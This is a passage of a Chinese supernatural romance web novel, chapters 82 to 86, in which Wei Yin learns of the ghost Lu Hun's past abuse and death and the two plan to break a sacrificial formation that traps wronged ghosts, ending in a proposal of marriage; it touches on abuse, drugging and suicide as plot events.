在贺家那晚,陆魂在贺老爷子这个老东西手里,受了不堪的委屈,所以,他才死也不肯透露一个字,而他的生母贺夫人,显然是让他生生吞下了这个委屈。 那晚,他不让她记起来的,是这件事。 魏姻手心彻底凉透,呆呆在门边坐下,而外间的贺老爷子却已经离开了,纪嘉玉查探完了,老东西要送他们出去。 过后,贺老爷子带着人都离开了。 临走前交代魏姻,不要往那群鬼的地方去。 魏姻什么都听不进去了,只呆愣震惊地盯着微沉的夜色,脑子里全是年幼的小陆魂抱着她哭得伤心的一幕。 之前,他还以为陆魂长大后,性子变得越来越阴郁孤僻,是因为陆明礼的原因。 魏姻用手捂住了脸,叹息一声。 “姐姐为何唉声叹气?”一个少年走了进来,站在了魏姻面前。 魏姻抬起头,惊讶,“陆魂,你……你不是和纪嘉玉他们一起走了么……” “我看到了姐姐扔在地上的槐花。”陆魂指节摊开,是一抓干槐花,解释道:“我知道姐姐被他带到了这里,就跟纪公子说了,便趁着他们不注意,悄悄藏了起来,他们不知道我在这里。” 魏姻无声地望住面前这个温柔乖巧的少年。 “怎么了?”陆魂终于意识到她的不对了,拉她的手,皱眉问道:“姐姐是不是被吓着了?没事,我会保护姐姐的。” “陆魂。” 魏姻想张口说话,但又迟疑了。 她不敢说。 他一心想要忘记,不愿她记起来。 魏姻从地上猛站起来,她仰起头,主动吻上他的唇,少年的唇瓣冰冷、干涩,但又柔软。 “姐姐……” “怎……怎么了。” “嗯?” 魏姻没有回答他的话,双手紧紧攥住他的胸口衣服,用力到整个人都在颤抖,少年被迫让她推到了墙上,被迫任由她亲吻着。 他不敢再说话惊扰她,他太高了,她实在攀得费尽,他只得将腰往下弯了弯,让她能够省力些。 魏姻一边亲着他,一边低低道。 “陆魂,你别难受。” “有姐姐在呢。” “我不难受。”陆魂摸不着头脑,轻笑一声,“姐姐到底怎么了这是?” 魏姻摇摇头,又急忙去扯他的衣服。 她吻着他的脖颈。 又要去扯他胸口。 慌乱中、带着点叹息。 陆魂浑身一震,好像从她的这些动作中发现了什么,知道了她为何变得如此主动温柔。 陆魂脸白得像纸,没有一点精神,他身子在不由自主地发起抖来,就好像当年一样,他心乱如麻,完全不敢去看她的眼睛。 过了好一会儿,他才颤颤地问出了这辈子都不愿意提到的事。 “姐姐,我小时候那件事,你是不是都知道了?” 魏姻看着少年低垂的眸子,艰难点头,“是。” 陆魂猛地将双手放在她的肩膀上,这一x下用的劲,几乎压得魏姻要坐下去,但他在精神崩乱间,很快意识过来,立马将力道收住,只是轻轻按着魏姻肩膀,将她推开一些。 跟着,猛地背过身去,往外走。 魏姻叫住他,“陆魂,你要去哪?” “姐姐……我去,喘口气。” 传来的声音,很是克制干硬。 好像生怕魏姻再喊住他,默不作声地直接走开了,魏姻盯着他越走越显得佝偻无力的背影,一个少年人,竟会有这样一个老年人的沧桑背影,她,红了眼睛。 魏姻在屋里平息了许久,天慢慢地要亮了,四周朦胧一片的青白色,就像是生白翳的人眼那样。 一夜没睡,她却毫无困倦之意。 魏姻见陆魂久久不回,她担忧地寻出门去,不过在不远处的屋檐下就看到了他。 他苟着背,乌云低沉地坐在了那里,孤独而沉默。 魏姻松了口气,朝他走过去,一向敏锐的他却毫无察觉,完全呆滞地坐在那一动不动,抬头凝视着天色在眼前一点点变亮,但神情毫不见有什么神采。 魏姻在他的身边坐下来,少年身上本来就没什么温度,此刻更是冷得像坨冰一样,魏姻皱起眉头,将少年的双手握在了手里。 少年抖了下,看到是她,肩膀又放松下来,任由她握住,仍旧盯着天看。 魏姻看到他这个不声不响,傻了一样的模样,心里更觉难受,她伸开手,抱住他,陆魂也不挣扎,乖乖靠在她的肩上。 魏姻忍不住了,“陆魂,别这样。” 陆魂低着头,沉默了好片刻,才小声开口:“我不是难过,这些事,我已经慢慢让自己忘记了,我只是……只是怕姐姐知道,怕姐姐,觉得我身上……很脏……” 魏姻惊住了,连忙捧起他的脸。 “胡说!姐姐不会的,陆魂怎么样,姐姐都喜欢。” 陆魂愣愣地,被迫迎视她目光。 魏姻一字一句,很认真地道:“陆魂,你知道姐姐的,姐姐是一个没有什么耐心的人,说实话,当年我亲眼目睹母亲死在身边,而我父亲还在纳妾那晚,我就对感情之事没什么感觉了,嫁给贺文卿,也是他刚好模样不差,门第不差,又有功名罢了,可我对你却难得有些耐心,因为我每次看到你,就会想到你总是小小的一个在学堂里独来独往,我就想起了当年我蜷缩在地上,而身旁是母亲尸首的一幕。” “姐姐对我。”陆魂煞白,“是因为姐姐母亲,才怜悯我……” “不是。” 魏姻笑了笑,“这不是怜悯,我是感觉我又看到了那晚的我自己,所以我不想看到她不好受,后来呢,我就觉得,陆魂很乖巧,很听话,对姐姐特别好,从来不会像贺文卿那样对姐姐,而且还很好玩,很想要逗陆魂玩,所以姐姐发现自己,好像还挺喜欢这样的陆魂。” 陆魂整个人停止了发抖,不敢置信地抿唇。 “姐姐,喜欢我?” 第83章 魏姻双手轻轻搭在少年瘦弱肩头上,眸光亮亮地瞅着他看,虽未说出口,但那个意思分明已经出来了,陆魂愣愣地望住她,眼睛一刻比一刻黑沉,他突然勾起唇角,周身的沉郁无端散去几分,一会儿后,似又被魏姻灼灼目光看得眼红,羞涩地低下头去。 魏姻也低头去看他,少年是个脸皮薄的,很快就被他看得红了脸,再次偏过头去。 这少年自幼受尽磋磨,难道当初他是因为这事而想不开的?魏姻握住这个沉郁少年的手,满脸担忧,陆魂像是看透了她的想法,摇头道:“姐姐放心,我当年在祖母病榻前发过誓的,不会自绝性命。” 魏姻怔住了。 陆魂目光回到了五年前,中举的那个晚上。 向来僻静的菩萨庙里今日却很热闹,庙外来了不少看热闹的人,因为住在菩萨庙里的一个十六岁的少年中了解元,白日里官役来报喜惊动了整条街的人,直到深夜里才逐渐散去,归于平静。 然而这个得中的年轻举子脸上却并无多少喜色,他仍住在平日里读书的简陋小屋里,这个小屋是附在大殿旁的一处后屋,以往是空置的,小屋里一切摆设很是简陋,除了书案,就只有一张小睡榻,他身量极高,自然是睡得不舒服的,但少年并不在意这些,他这会儿如往常一样,继续埋在案头读书,丝毫不容懈怠地已经准备起了明年的春闱,即使好不容易高中了,也不出去与人赴宴庆贺。 薄弱的摇曳烛火,勉强照见案头的一角。 少年翻着书页,模样悒郁专注。 而大殿里的菩萨则低眉顺目,模样悲悯。 有人端着茶从外头走了进来,是个看香火的,“陆老爷今日高中,怎的还在这读书呢,年轻人即使用功,也该出去应酬应酬才是。” 陆魂抬头,接过茶,并不接话,依旧沉默。 这人与他似乎早已熟识,见他如此,也不在意,于是转口道:“方才我来送茶,看到门外又有个夫人,说是要见陆老爷,可要请她进来?” 今日陆魂中举后,来过几个有女儿的夫人贺喜,陆魂是个脾气温和的人,不好将人拒之门外,点点头,让其将人请进来。 这位夫人带到了,看香火的人立刻退了出去,陆魂合上书,起身看去,脚步一时凝固在原地,这位贵夫人不是别人,正是贺夫人。 当看到她的脸,陆魂只觉得平静多年的心,再次发起抖来。 从那晚之后,贺夫人与陆魂再没有见过一面,贺夫人曾经常给陆家暗暗送去东西,不过都被陆魂给退了回去,后来贺老爷子卸任回乡颐养天年,贺家人也离开了京城,直到近些日子,贺文卿与魏姻定亲成婚,贺夫人才又来到京中。 多年未见,即使是贺夫人这个亲生母亲,也是打量了陆魂一会儿,才将其认出来。 陆魂变化得极多,不仅身量这样高了,整个人也单薄瘦弱得很,好似全身都是骨头不见几两肉,变化最大的,还是那周身阴郁寡欢的气质,哪里像个十来岁的少年人,简直一身暮气。 贺夫人显然是匆匆赶来的,好像并不清楚陆魂今日中举的事,极力试图亲近地对陆魂说道:“我打听了许久,才打听到你在你祖母去世后,独自搬到了这里读书,不过这庙内外怎的乱糟糟的,今日香客很多么。” 陆魂也不曾去解释什么,只淡淡地看她。 “魂儿?”贺夫人见状,讶异道:“你难道不认识娘了么?怎么一句话都不跟娘说呢?” 陆魂终于开了口,冷淡得像陌生人,“你有事么?” “近日你大哥要成婚了,我这才能来京中一趟,魂儿,这几年你还好么?你现如今孤身一人,银钱可够使?我这几年在荒州总托人偷偷给你送些钱来,可你这孩子,怎么一分都不要呢?你父亲早不在了,听说你祖母后来眼睛也渐渐看不清了,你们这一老一小的,怎么有钱活呢?” 贺夫人问道。 陆魂一早就知道,贺文卿要成婚了。 他无声默然了许久,似乎显得有些烦闷,又显得更加沉郁了些,转过头去,“若没什么事,你请回去吧。” 贺夫人见他如此语气,只好叹了口气,“其实娘这次来,除了想要看看你,还有件事,想让你帮帮娘。” 陆魂回头,怔怔看向她。 “是这样的。”贺夫人知道他不耐烦,不敢耽误,立即实话实说:“文卿你还记得么?你大哥他,我这些年发现,他,他有些难以生育,这若是没有子嗣,贺家这家大业大的可要便宜了旁人。那娘这一生的心血,可不就白费了?” 陆魂皱眉,“你怎么知道?” “我能不知道么?”贺夫人满脸痛苦地道:“因为文卿他父亲,就……就没有,所以文卿出生后,我一直小心注意的,暗中找了些这方面的厉害郎中给他看过,都说没有的,我又不敢说,不敢让文卿知道,也不敢让贺家人知道。” 陆魂愣神,“那……” 贺夫人握了握拳:“文卿的身世,你这孩子就不要管了,娘现在只想让你帮娘个忙,与其以后文卿没有子嗣,便宜旁人,倒不如要个自己的亲孙儿。” 陆魂后退一步,“你什么意思?” “文卿不是成婚了么,是京中魏家的一个姑娘,叫魏姻。”贺夫人转而笑起来,“虽我不怎么喜欢她,但到底是个难能一见的美人儿,娘相信,你一定会喜欢她的,娘想要你,替文卿与她要个孩子,给娘要个x亲孙儿,怎样?” 陆魂睁大眼睛,不敢置信地瞪着她,他眼神晦涩地顿了会儿,才道:“你简直疯了。” “你放心,此事娘办的很小心,不会有人发觉,即使贺家有什么风声,娘也有办法。” 贺夫人想的是,贺老爷子也不清楚文卿这事,可就算他知道了,当年她和他那事也不光彩,要是这老爷子敢戳穿她,那就谁都别想好。 然而,贺夫人并不清楚,对于贺家男子无法生育的事,贺老爷子比她知道得更多,她自以为能够瞒住,只以为贺父不能生育的事只是贺家的一个意外。 贺夫人笑了笑,“你就帮帮娘吧,你这也不吃亏呀,到时候,我会趁那魏姻不注意,暗中将她带出来给你,你只要给娘一个亲孙儿,娘这一辈子都感激你。” 如此一来,魏姻以后也得看她这个婆婆的眼色。 陆魂荒唐地盯着她看了许久,吐出话来,“此事绝不可能,你走吧。” “魂儿?” “你走。” 陆魂说完这句话,忽然觉着身子软弱得厉害,一点力气都要没有了,他疑惑地看了看自己身体,贺夫人上前,扶住了他。 “魂儿,你的茶里,我暗中让人趁那人不注意,投了些东西进去,不过你放心,娘不会害你的,只是让你乖乖听话而已。娘这也是没有办法的事,除了你大哥,我就只有你这么一个亲生儿子了,除了你,没人再能帮我,我在贺家辛苦熬了半辈子,甚至还为了子嗣……跟自己的夫君都翻脸了,我不想白费心血。” 陆魂彻底明白过来,用尽了最后的一点力气,将贺夫人往外狠狠一推。 贺夫人见他想要离开,立刻退开,叫来几个心腹的人将这间屋子给锁住,她站在小屋外,说道:“魂儿,你别乱动了,这里娘会派人看着,我去让人赶车来,再来带你走。” 陆魂被锁在屋中,他身体撑在桌案上,才不至于让自己摔在地上。 他想要起身,可是刚勉强站起,又一下子脱力滑了下去,将桌案上的茶水墨水全洒到书上去了,他平日里小心爱护的书页,被弄得乱七八糟,显然不能再用了。 陆魂眼神悲悯地望着头顶。 他的生母,这个从小不在乎他,因为她,留下一生的阴影,他好不容易劝自己慢慢忘记那一切,可她,竟然又生出这样荒唐的念头来…… 她要他,去替贺文卿和魏家姐姐要个孩子。 他怎么能? 又怎么能对她做下这种肮脏的事呢? 陆魂等了许久,等不到身体恢复正常,他试着爬过去,想要叫人,贺夫人却早有防备,自然不会有人能够听到。 一旦贺夫人来了,将他给带去了某个地方。 他再也不好脱身,她一定会想尽办法达成目的,可能,会不惜将他和魏家姐姐都用那种药,逼他们…… 他转过头,看到了扔在门后的一团麻绳,那是拿来绑东西的。 陆魂居然笑了一声,笑声却充满了苦涩。 祖母。 不是他不愿信守誓言。 是天不容他。 是他本就不该留在这个世上。 他陆魂。 是苟且生下的私生子。 生父生母厌恶。 年幼遭遇不幸。 孤苦伶仃。 祖母也不在了。 魏家姐姐也成婚了。 与他再无可能了。 陆魂再次惨笑了声,爬过去,去拿麻绳…… 贺夫人回到菩萨庙,风竟然将门锁给硬生生吹落,贺夫人站在老远地方往小屋看,看到的是少年悲戚哀伤至极的眼神,脖子却伸进了绳圈,她怪叫一声,连忙喊人去将少年救下来,然而少年早已合上了眼眸,贺夫人当即摔倒在地上,满眼震惊地看着眼前的一幕,久久都无法回神来。 哪里不知传了声音,大叫:“起火了,起火了!!快来人啊。” 原来是大殿哪里着了火,直烧到小屋。 贺夫人看着火势包围了小屋的少年,再次怪叫道:“魂儿!” 第84章 没有想到的是,少年当年的去世,竟是他亲生母亲一手促成的,甚至,还跟她有关系。 所有的一切,在今晚,魏姻全都明白过来了,少年似仍还停留在久远的记忆里,因此比平日显得要更加暗沉了点。 魏姻握住他的手。 陆魂回眸。 抿了抿唇。 魏姻温和地朝他笑了笑,手放在他的发顶,少年轻轻地,阖上眼眸。 “对了。”她想起来,“那些被贺老爷子弄来的人,都关在了这个宅子里,不过他们因为这里的阵法,无法出去,而且死后也要受阵法的挟制,那个老东西,还想要用他们来祭祀这个子孙阵,以此改变贺家绝嗣的命运。” 陆魂说道:“我与纪嘉玉虽然找到了路,来到宅子,但阵法却破不掉,方才我没有和纪嘉玉他们一起走,老东西又将阵法开起了,我和你都没法离开了。” “那怎么办?”魏姻担忧地问:“他还想要我和贺文卿……” “姐姐宽心。”陆魂如此说着,目光却沉了又沉,他让魏姻,先带他去找那些被贺老爷子害死的鬼。 那些鬼恨毒了跟贺家有关系的人,魏姻一个人不敢轻易过去,但有陆魂在,倒也不怕了,陆魂看出她有些小心,将方巾后的飘带递给她,让她像从前一样握住他的这个跟着他走,魏姻好笑瞥他一眼,看也不看飘带,直接伸手过去抱住他的胳膊。 陆魂迟钝下,这个时候才反应过来他们的关系早已不是之前那样生疏了。 少年走在前面,忍不住,笑了笑。 群鬼被法阵放了出来,一个个颠七倒八地站坐在屋子里,模样哀怨,魏姻认识的那个怀孕妇人则双手撑在窗口,出神地盯着外面,似在思虑,眉头拧得紧紧的,有两个鬼想过去找她说什么,但又不敢上前,犹豫地站在身后互相闲聊起来。 “那个六甲妇人,看起来应该成聻了,她很不好对付……”陆魂对魏姻说。 魏姻点点头:“那个妇人虽怀着身孕,但她父亲应该是懂得一些这些东西,还是她当初想出办法,以所有人的性命将法阵破开,让那对姐弟俩逃走的。” “此法虽阴毒。”陆魂说,“但也不失为一个法子。” “他们被贺老爷子关押囚禁,生不如死。”魏姻怜悯道:“否则,也不会逼得这么多人,个个都愿意将自己的性命献出去。” 他们两个的窃窃私语,很快引来了那群鬼的注意,少妇人是第一个察觉到的,警觉地看过来,当望见是魏姻,脸色逐渐变得凶狠,其他的鬼立刻就要朝她扑来。 陆魂二话不说,先将破军幻化出来,指着这些鬼。 破军强大的杀气,直逼得哪个鬼都不由一凛。 不敢再轻易上前,左顾右盼面面相觑,最后,全都不约而同地望向少妇人。 等着她的话。 少妇人冷笑着死盯魏姻,“枉我之前还对你说了那么多,没想到,你这女人是贺家的儿媳妇!跟他们一窝的,别以为,有这把剑就能怎么样,便是拼个你死我活,也要咬下你们贺家人的一块肉来。” 陆魂用身体将魏姻挡在身后,淡淡地朝少妇人道:“姐姐早已和离了,不再是贺家人。” 另外一个鬼走上前一些,“那又怎样?!只要是跟贺家有关系的人,都去死!” “你们若是非要如此。”陆魂皱眉,“那我们离开就是,你们自己想办法出去吧。” 群鬼并不理会他的话,少妇人迟疑叫住他,“你什么意思?是想要放我们出去?” 陆魂叹道,伸出手,一个白色细麻衣出现在了他手上,他静静说道:“这是那个小男孩的东西,上面有他的气息,想必你应该会认得的,他将一切事都与我说了,我答应过他,让各位离开这里。” 少夫人面容抖了抖,时隔这么多年,不敢置信,她最终,还是走上前来,从陆魂手中将衣服拿起。 “这,这果然是小弟的。” 少妇人将衣服悲切地捂在脸上,难过了许久,而后才抬起头来,对群鬼道:“确实是真的,我们可以相信他们。” 群鬼这才不得不相信了。 各自激动地交头接耳,除了模样苍白,其实跟生前没什么两样。 陆魂则沉默,又深沉地,注视着这些身穿白色细麻衣的群鬼。 少妇人收起了敌意,对魏姻笑,“其实我听到了你也是被老东西强行带过来的,可谁让你是贺家人,我们实在是……不过,这法阵是依着这处地灵而成的,当初我们拼尽性命,用了鲜血,也不过才能送x出那姐弟,可如今,到底怎么才能出去?” 陆魂顿了顿,说:“我们还有人在外面,让他看看有没有办法。” 少妇人眼睛一亮。 这两日,贺老爷子果然派人将魏姻所住的这间屋子布置了起来,红绸张挂,一副要准备婚房的模样。 他要魏姻与贺文卿在这间屋子里行房,好借助子孙阵让魏姻有孕,而从此,后面的贺家血脉都将不再绝嗣。 魏姻看着这间屋子很不舒服,陆魂也同样看得皱眉,因此,在贺老爷子让人布置那天起,她就不住这个屋子了,与陆魂去群鬼那儿。 群鬼刚开始对魏姻还没有什么好感,后来看她也被贺老爷子如此对待,他们都是善良的年轻人,渐渐地对她同情起来。 少夫人还冷笑着骂道:“这老东西如此丧心病狂,逼着已经和离的媳妇这样做,难怪他们贺家断子绝孙,我瞧是老天爷早就看不下去了,故意如此安排!” 期间,纪嘉玉再次带人找来,他们这会儿已经进不了宅子了,陆魂等人也出不去,但破军也许是跟这里地灵一样,也是天生灵宝,它倒还能出去,于是就让它给纪嘉玉带去了消息。 纪嘉玉知道了这么多受害人变成了鬼还被挟制,恼得脸都红了,回去将这事与裴老和魏父都说了。 魏父知道魏姻落在贺老爷子手中,急得团团转,“这老畜生,竟敢这样胡作非为,还将我家姻儿给拘禁起来,老东西,我非得让圣上知道,让他贺家满门抄斩!” 纪嘉玉少年血气,怒道:“魏伯父说的是,没有想到荒州竟还有这样的泯灭人性的案子,一定要让圣上知道!” 裴老倒面不改色地坐在一边,唯独眉头比平常蹙紧了一些,打断他们的话,“禀告圣上?用什么禀告?你们无凭无据,只能是污蔑老臣!” “那裴老你说怎么办?”魏父心急,语气有些控制不住,“难道要眼睁睁看着他害我女儿么?这般逆天改命的事,姻儿难保就会跟着贺家一同受天谴!” “裴老,魏伯父说得对。”纪嘉玉不忍道:“你可不知道,那个老东西多没有人性,连孩子都下得去手,怎么能不管呢?” 裴老不动声色地道:“谁说不管了?何必先急着乱了自己手脚呢?到时反让他在圣上面前,拿到你们的把柄,如今还是先要将法阵破掉,那贺老东西极看重子嗣,自然不舍得让一生心血白费,无论如何都会让身边那些跟着他胡作非为的江湖术士尽数前去守阵,到时候直接以聚党谋乱的罪名抓捕,然后请旨圣上,谋反罪名最大,朝野上下都不会轻易揭过,而圣上平生最忌讳此事,即使没有十足的证据,也定会遣锦衣卫搜查贺家,这些人一旦沾手此事,就算贺老爷子这些年做得再干净,掘地三尺,也会掘出一堆证据出来,贺家一门,都别想脱身了。” 魏父和纪嘉玉互看一眼,魏父呵呵赔礼,“晚辈莽撞了,还是裴老你心狠手辣。” 裴老摆手,“但当务之急,要破阵。” “可要怎么破阵呢?”纪嘉玉问。 “当初大哥与我聊起过此类事,兴许可以一试。” 裴老却没有直接将话说出来,沉吟犹豫了片刻,才让魏父拿来纸笔,裴老写下了一封信,递给纪嘉玉,“去交给陆家那孩子吧,他会知道的。” 信送到陆魂手中,已是一天后了。 魏姻和群鬼都在旁边。 陆魂看了他们一眼,拆开信来看。 他眸子凝了凝。 魏姻望住他,“裴老怎么说?” 少妇人等人急急盯着他。 “到底怎么回事?” 陆魂将信摊开。 只见,上面写着: 此子孙阵,依天地灵气所化,非王气不可逆,百鬼献祭破军,借破军王气兴许能破。 所有人皆都愣住了。 很快,有鬼反应过来,“百鬼献祭……难道是要我们……” 另外一鬼怪叫,“那我们岂不是要灰飞烟灭了?” 第三只鬼惨叫起来,“不,不,我还要报仇,我还要找老东西报仇!” 少妇人攥住信,她像是攥着贺老爷子的脖子那样用力,“那破了阵做什么,我们又不能亲手报仇了!” 陆魂和魏姻都不做声,沉默以对。 众鬼在哭天喊地,满脸灰败哀嚎地叫了一阵后,又惊奇地变得安静下来,大家都不说话了,一副失去希望后的绝望蔓延在整个屋中。 然而就在这漫长的沉默过后,少妇人忽然哈哈大笑起来,所有人都不知道她在笑什么,少妇人却看向陆魂,郑重问。 “你们会让老东西不得好死么?” 陆魂回道:“会。” “好!” 少妇人干脆道:“只要他最后能不得好死,献祭便献祭,无所畏惧。” 其他鬼原本疑惑,听她这样一说,也咬牙附和,“对!姐姐说的对!我们愿意献祭!只要老东西死无葬身之地!” 第85章 群鬼吵吵嚷嚷地说个没完,他们一个个脸色凄哀悲惨,嘴巴个个抿紧,眼底深处则是异样坚毅,好像前方即使是个断头台,他们照样会义无反顾地冲上去。 少妇人低头温柔抚摸自己的肚子,这个永远都不可能出世的婴孩,群鬼后面,传出一道弱弱的声音。 说话的是一个面容清丽的小姑娘,她说:“但我们鬼也不够呀……” 少妇人抬头。 旁的鬼紧跟着发觉过来,“还差两个……” 少妇人愣了下,看向陆魂,陆魂似乎早在看到信的那一刹那,就已明白这一切了,他脸上宁静,缓缓开了口:“是,还差我与小弟。” 魏姻让他这话给惊得手都软了,她拉住陆魂,“你说什么?” 陆魂不曾搭理她,而是对少妇人说道:“我会让人去问小弟,看他愿意不愿意,再做打算。” 少妇人沉痛地,点了一下脑袋。 “陆魂,你方才那话什么意思?你要……”走出屋外,魏姻转过身去,瞪住紧跟在身后走出来的少年,少年人一如既往习惯低头,并不去看她的脸色。 “你会灰飞烟灭的。”她眼睛酸涩地道。 少年终于抬头看向她了,“姐姐,你恐怕还不知道我们的形势有多危险,我们现在被贺老爷子关在法阵里,若不能出去,他一定会让姐姐做那种事的,我们,没有办法。” “那也不能让你……”话到一半,魏姻撇过脸去。 陆魂按着她的肩膀,将人朝向自己,“你想想里边被关起来的那些鬼,若不能破掉这个法阵,他们的冤屈,天底下再也不会有人知道了,无论如何,我都必须这样做。” 魏姻依旧瞪着他,少年见她不说话,也不好再多说什么惹她生气,只唤来破军,让破军将他给那个鬼男孩的信带出去。 破军走了,陆魂回头打量魏姻,她还是一瞬不瞬地瞅着他看,他悲凉地合了合双眸,跟着艰难挤出笑容,对魏姻笑道:“魏姐姐,我本就是不该出生在这个世上的人,当年若非破军,我早已黄泉枯骨了,可我万万没想到,上天竟然会再次给我一次做鬼的机会,能让我再见到姐姐,与姐姐耳鬓厮磨,我做梦都不曾想到过会有今日,姐姐与我,阴阳有隔,即使我留下来了,以后也定会为姐姐带来祸患,而如今,能有今日,能听到姐姐说喜欢我,陆魂此生已别无他愿了。” “姐姐,幼时所遭受的一切,让陆魂无法眼睁睁看着这些有过同样遭遇的人悄无声息地消失在这个世上,他们遭受的冤屈,应该要让人知道。” 魏姻沉痛地盯着他,却一句话都说不出来。 陆魂再次笑了起来,笑容没有太多悲伤,反而是洒脱,仿佛一直陪伴他一生的悲郁得到了释然,他看到魏姻身上的斗篷从肩头滑下去,掉在地上,他将斗篷捡起,仔细替她披在身上,他怕她不悦,并不敢去像平时一样握她的手,只将手垂在两边,默不作声。 魏姻问:“你想好了?” 陆魂顿了一下,“想好了,姐姐。” 魏姻一句话不再说,也不理会他,转身往外走。 陆魂站在身后,微微握住拳头。 少妇人远远地在后面望着他们,摇摇头。 魏姻直接回到了贺老爷子给她和贺文卿布置的那个怪异喜房,她看着那些红帐,将其一把扯了下来,把布置的人也给赶出去了,那些人不敢说什么,连忙跑了。 魏姻此刻心乱如麻,她没有想到,这个少年最终会有灰飞烟灭的一天,从前的种种在她的眼前不断掠过,尤其是少年x羞涩低垂的面容,他脾气极好,总是小心翼翼跟她说话,可他竟然如此轻易地就选择了死亡,即使是为了她,可她不愿意承这份情。 少妇人来了,魏姻疑惑望向她,少妇人在她的身边坐下,轻笑道:“你去看看那陆家小少年吧,你走之后,他就一言不发地一个人坐着,我看他这样,想去跟他说两句话,结果只冷冷地让我走,弄得谁都不敢去碰,破军送信回来后,想要上前,都被他斥走了,我还是第一次看见他发脾气,看起来又很可怜。” “他一向是这个古怪性子的。” “谁说的?我觉着他很不正常,看着很难过的样子。” “他难过什么?” “魏姑娘。”少妇人笑了一声,“实话跟你说吧,你以为他真就那么不想活着?即使做一只鬼活着?陪在你身边?是因为,人鬼有隔呀,他知道,即使以后留在你身边,年数久了,他的鬼气也会让你身体病弱,以致命数受损,他明白,迟早有一天总会离开你的,与其以后为你带来祸患,还不如用他的这身鬼身帮你离开这里。” 魏姻怔得说不出一句话来,她想起来了,在荒州再见时,他与她说过这些。 “别愣着了。”少妇人将陆魂一件厚衣递给她,催促道:“快去看看他吧,你方才对他爱答不理地就走了,他觉得你气恼他,再也不想看见他了,正闷闷不乐,快要忧郁死了。” 魏姻感激地对少妇人点了点头,接过衣物,小跑着去找陆魂。 果然如少妇人说的那样,陆魂独自蹲在宅后的一处空屋里,双腿支起,手抱住了膝盖,将脸埋在膝盖上,僵直身体一动不动地坐在那儿,看起来挺可怜的。 魏姻抖开厚衣,将其披在他的身上,陆魂只以为又是心善的少妇人,正要将衣物推开,她拦住他的手,“不许拿开,好好穿着。” 陆魂生生住了手,猝不及防抬头看她。 他眼睛明显还泛着红润。 魏姻看吓住了,不敢相信,“你哭了?” “没有。”陆魂偏过脸去,嘴硬道。 “真的没有?”魏姻笑话他,“那好端端的眼睛怎么又红又湿呢?陆魂你好丢脸,这么大人了,还哭鼻子。” 陆魂听着她带笑的语气,似乎被她的话彻底给触动,情绪忽然压抑不住了,一把抱住魏姻的腰,他的头埋在她的胸口,虽然一句话没说,但整个脑袋都在颤颤发抖,如同受了天大委屈一样,渐渐地,魏姻感到,胸口处湿了。 魏姻吓坏了,赶紧去捧他的脸,柔声问:“怎么了这是?” “我以为姐姐生我的气。”陆魂嗓子嘶哑,“在我离开这个世上之前,姐姐也再也不会与我说一句话了。” “不会的,姐姐不会不理陆魂的。” 魏姻爱怜地抚摸他削瘦的脸庞,这少年自幼不幸,身子一直是极清瘦不过的。 陆魂抱紧她的腰,将脸用力埋进她的肩窝里去,仿佛要将自己嵌入她的身体里,让他完完全全地属于她才好,少年悲哀的声音从她的身体里传出来。 “姐姐,如果我是人就好了,我也像人一样,像贺文卿那样,能够入仕为官,娶姐姐,与姐姐生子,和姐姐夫妻恩爱,白头偕老就好了,如果能好好活着,我何必要离开姐姐,我何必要跟好不容易喜欢上我的姐姐分离呢,我舍不得,我真舍不得啊……” “陆魂……” 少年在这一刻,彻底剖白自己的心,“我是一个正常的出身就好,我就配得上姐姐了,我就可以大胆地去喜欢姐姐,向姐姐提亲,让姐姐嫁给我了。” “陆魂……” 少年却完全沉浸在自己的悲痛中,伤痛得全身抽搐起来,魏姻连忙用力将十指伸进他的头发里,一边去急切地吻他,“陆魂乖,不要再这样想了,你会受不住的,起来,让姐姐亲亲你好不好?” 陆魂声音哽咽,情绪起伏得厉害,身上有许多黑气不受控制地往外发散,但他还是听了她的话,抬起了头。 魏姻连忙去亲他,自己眼睛也红了。 “陆魂不难过了,姐姐现在不是还在你身边么?” 陆魂紧紧闭着眼睛,攥住她的衣裳,仍旧说道:“我想做一个正常的人,想娶姐姐,为什么不让我做一个正常的人呢?” 魏姻心底深深叹息着,她不再多说,只是一个劲地去亲他的额头,他的眼,他苍白的嘴唇。 半晌后,她终于也流下了眼泪,“陆魂既然这么想娶姐姐,那姐姐和陆魂成亲好吗?” 靠在她怀中的少年忽然怔住了,万分不敢置信地看着她,仿佛以为是自己听错了,但魏姻却直勾勾盯住他的眼睛,一句一句认真地道:“陆魂和姐姐成婚好不好?” 陆魂终于听清楚她在说什么了,怔愣片刻后,忽然猛地背过脸去,强行克制道:“不行……不能的……” 魏姻将他的脸转回来,“为什么不能?” 陆魂叹口气,“姐姐,我很快就要消失在这个世上了,何必再耽误姐姐呢。” “陆魂。”魏姻笑着道:“姐姐不在乎这些,难道陆魂就不想跟姐姐做一日夫妻么?陆魂不想要姐姐将你变成男人么?” 陆魂心动了。 怎么可能不心动。 一日夫妻。 这四个字。 是他一生奢望,梦寐以求的。 魏姻没有再继续劝他,只将他从地上扶起来,走出去,少妇人和群鬼都在外头,连破军也在外面不安地飞来飞去,魏姻把破军叫来,告诉它,“破军,我写封信给你,你带去给我阿爹,告诉他,女儿要和陆魂成婚了,请他允准。” 破军意外,高兴得直扑腾乱飞。 少妇人微怔,跟着,满含笑意与无奈地望向魏姻与陆魂,群鬼各个喜不自胜,围上来道喜恭贺。 第86章 破军的信送到文家老宅,魏父看到女儿要与陆魂成婚的信,方从知道裴老说的破阵法子,他啪嚓将厚信按在桌上,不赞同地开口:“这不是胡来么?那孩子献祭破军后,她不是要守寡呀?何况,他还是鬼,人和鬼怎么能做夫妻呢——不行,这不行,我绝不同意。” 裴老也在身旁,他惯常不急不慢地将信揭去读了一遍,里头又提到了在文宅的鬼男孩,他晃着头,面上深有几分慈悲之色,可仍是将信递给了纪嘉玉,交代道:“纪小子,去吧,将事情的来龙去脉都告诉那个孩子,问问他的意愿。” 魏父原本是在生着闷气的,责怪魏姻行事荒唐,听到裴老提起那鬼孩子,顿时忘了其他,跟着摇头叹息起来。 这些被贺老头子害死的鬼,想要为自己报仇,竟然都要付出如此巨大的代价。 纪嘉玉这个血气方刚的年轻人,心里头跟堵了一面墙似的,闷得他沉甸甸的,裴老看出他的迟疑,劝慰道:“世上的事都是如此,你想不明白的,我们如今能做的,就是不让他们平白牺牲,知道吗?” 纪嘉玉面上凛然住,弯腰作揖,“是,嘉玉知道怎么做了。” 纪嘉玉去找了鬼男孩,将此事原原本本地与孩子说了一通,鬼男孩虽无法全部理解,但他多少明白了大概,可他并没有想到哭,而是睁着期盼纯真的眼睛问:“哥哥,这样做,是不是就能让坏东西受到惩罚呀?” 纪嘉玉呆了呆,点头。 